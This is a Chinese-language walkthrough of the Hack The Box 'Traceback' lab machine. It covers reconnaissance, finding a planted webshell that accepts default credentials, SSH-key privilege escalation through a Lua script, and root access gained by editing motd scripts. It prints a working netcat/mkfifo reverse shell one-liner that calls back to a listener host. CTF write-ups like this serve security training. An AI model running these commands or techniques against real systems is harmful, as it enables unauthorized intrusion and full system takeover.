目录

简介

信息收集

漏洞发现与利用

权限提升

获取sysadmin权限

获取root权限

总结


简介

这是一个刚发布不久的很简单的靶机,跟着靶机制作者的提示就可以完成。通过网站首页发现网站被入侵,然后枚举webshell文件,枚举webshell的用户名和密码,利用webshell获得交互式shell,接着根据作者的提示获取到sysadmin用户的shell,最后在进程中发现以root用户执行的打印登录欢迎信息的脚本,通过修改脚本获得root权限的shell。

信息收集

使用nmap -A --min-rate 10000 -T5 10.10.10.181扫描目标主机,如图:

目标主机开放了22和80端口,运行着Apache http 2.4.29服务,且目标主机操作系统为Ubuntu。然后访问http服务,如图:

页面显示该网站已被入侵,并且在所有网络都留了后门,照应了主机名称Traceback,看来需要溯源,但现在还不知道Xh4H是否为webshell的密码。在源码中发现提示,如图:

使用dirbuster扫描web目录,查看是否存在webshell,如图:

没有发现webshell,尝试扫描http://10.10.10.181/Xh4H,也未发现存在webshell。使用google搜索注释发现Github有一个开源WebShells项目,如图:

漏洞发现与利用

枚举webshell文件,当访问smevk.php时发现webshell,如图:

使用默认用户名admin和密码admin登录成功,如图:

可以看到内核版本为4.15.0-58,用户名为webadmin,可用的程序有php,perl,nc,wget等,以及网站根目录。然后使用nc反弹shell(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.216 4444 >/tmp/f),但是不能访问tty,如图:

权限提升

在/home目录下发现sysadmin用户,如图:

在webadmin目录下发现.ssh目录,luvit,note.txt和一些.lua文件,且luvit文件的所有者和所属组是sysadmin,其他人具有读写权限,如图:

使用file命令查看luvit文件发现是64位ELF文件,然后执行./luvit --help,如图:

原来是执行lua脚本的程序,查看note.txt,如图:

是sysadmin用来练习lua编程的。查看privesc.lua内容发现是写入sysadmin的ssh认证文件,如图:

从前面可以看出webadmin用户对该文件具有读写权限,因此可以替换ssh公钥内容通过luvit运行privesc.lua脚本将ssh公钥写入sysadmin的ssh认证文件中,进而获取sysadmin的权限。

然而没过多久webadmin目录下的所有文件都被恶意用户删除了,靶机作者也是及时进行了修补。修补之后webadmin目录下没有luvit文件了,但是查看用户sudo权限的时候可以发现luvit所在的位置,如图:

获取sysadmin权限

使用ssh-keygen生成无密码的ssh密钥对,查看生成的id_rsa.pub文件,如图:

然后替换privesc.lua文件中的数据,如图:

在当前shell中修改文件比较麻烦,可以先将/home/webadmin/.ssh/authorized_keys文件替换,如图:

然后使用ssh登录到webadmin用户,在使用nano编辑privesc.lua文件并执行,如图:

报了很多错误,尝试修改文件打开的方式为w,还是会报错,尝试使用os.execute()写入,如图:

然后使用luvit执行privesc.lua脚本,使用ssh连接sysadmin即可,如图:

在目录下发现user.txt。然而该shell用起来不怎么方便,然后使用webadmin的shell查看权限,如图:

发现sudo命令,ping命令等有root权限,尝试ping后门未成功。

获取root权限

然后使用ps -aux查看运行的进程发现数量太多,多次执行发现存在root用户执行的定时复制命令,如图:

由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的80-esm等文件,如图:

查看cp命令的源目录和目的目录,发现/etc/update-motd.d/下的文件是sysadmin用户可以编辑的,而目录下的文件是shell登录后的欢迎信息,如图:

查看00-header文件内容发现这是一个bash脚本,是ssh登录成功之后的欢迎信息,如图:

查看其他文件也都为bash脚本。因此可以在00-header等文件中写入命令(一定要在定时命令再次执行之前写入),当ssh登录成功的时候就会执行写入的命令,使用echo "id" >>/etc/update-motd.d/00-header将id命令写入文件,然后使用ssh登录目标主机,登录成功后,欢迎信息中成功执行id命令,如图:

将反弹shell的命令写入00-header文件,如图:

然后在本地开启4444端口监听,使用ssh连接目标主机,如图:

在监听的端口成功反弹回root shell,如图:

总结

虽然该靶机很简单,但是仍旧花费了很长时间,主要是该靶机被重置的次数太频繁了,所以需要重复执行多次之前的步骤,到最后干脆把命令先写好然后复制粘贴了。即使这样都不一定能比得上恶意用户的速度,而且用户目录下所有文件都被删了。需要重新找luvit程序的路径。提权过程中使用手工分析太花时间了,还好有pspy的帮助可以加快总体的进度。

Hack The Box——Traceback相关推荐

  1. 【Hack The Box】linux练习-- SneakyMailer

    HTB 学习笔记 [Hack The Box]linux练习-- SneakyMailer

  2. Hack The Box - Access Writeup

    第一次尝试Hack The Box,在难度较低的Access上,前后花了有两天的时间,汗.收获还是很大,在此记录一下,以便后阅. 首先是获取user,通过nmap扫描,可以发现目标主机开了三个端口21 ...

  3. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  4. 【Hack The Box】linux练习-- Blunder

    HTB 学习笔记 [Hack The Box]linux练习-- Blunder

  5. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  6. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  7. 【Hack The Box】linux练习-- Ophiuchi

    HTB 学习笔记 [Hack The Box]linux练习-- Ophiuchi

  8. 【Hack The Box】linux练习-- Doctor

    HTB 学习笔记 [Hack The Box]linux练习-- Doctor

  9. 【Hack The Box】linux练习-- Tabby

    HTB 学习笔记 [Hack The Box]linux练习-- Tabby

最新文章

  1. oracle全局索引 前缀索引_Oracle 分区索引介绍和实例演示
  2. python 添加进度条
  3. 139.00.005 Git学习-分支管理
  4. [转]了解ASP.NET MVC几种ActionResult的本质:EmptyResult ContentResult
  5. couchbase_具有Couchbase,Java EE和WildFly的CRUD Java应用程序
  6. 主成分分析(PCA)和基于核函数的主成分分析(KPCA)入门
  7. 现代软件工程系列 学生读后感 梦断代码 SpringGreen
  8. 3_数据分析—数据清洗及特征处理
  9. Spark基础学习笔记20:RDD持久化、存储级别与缓存
  10. Java中抽象类和接口的区别(来源一)
  11. double四舍五入
  12. Factorization Machine 1
  13. 分布式大数据多维分析(OLAP)引擎Apache Kylin安装配置及使用示例【转】
  14. Python 爬取 猫眼 top100 电影例子
  15. be 动词 和 一般动词的过去式
  16. Helio P10 (MT6755)
  17. day08 系统篇端口扫描CDN服务负载均衡WAF防火墙
  18. 积分第一中值定理与伏汝兰尼(Froullani)积分
  19. html网页中圆角边框的编写,Html实现边框圆角的实例详解
  20. chrome14-使用snippets辅助debugging

热门文章

  1. 维瑞最新推出5年期VeriSign SSL证书价格
  2. Windows下安装PyQt(python3.8+PyQt5)
  3. 【新手向】centOS 7 linux虚拟机联网具体步骤
  4. 大数据技术(1):大数据发展脉络
  5. lazada代运营-代运营服务平台
  6. 同事推荐的GIS书籍
  7. 测量RT-Thread线程调度的时间的方法
  8. 【Android】打包生成APK教程
  9. Linux故障处理——磁盘空间满缺找不到对应大文件
  10. STL容器基础 - 0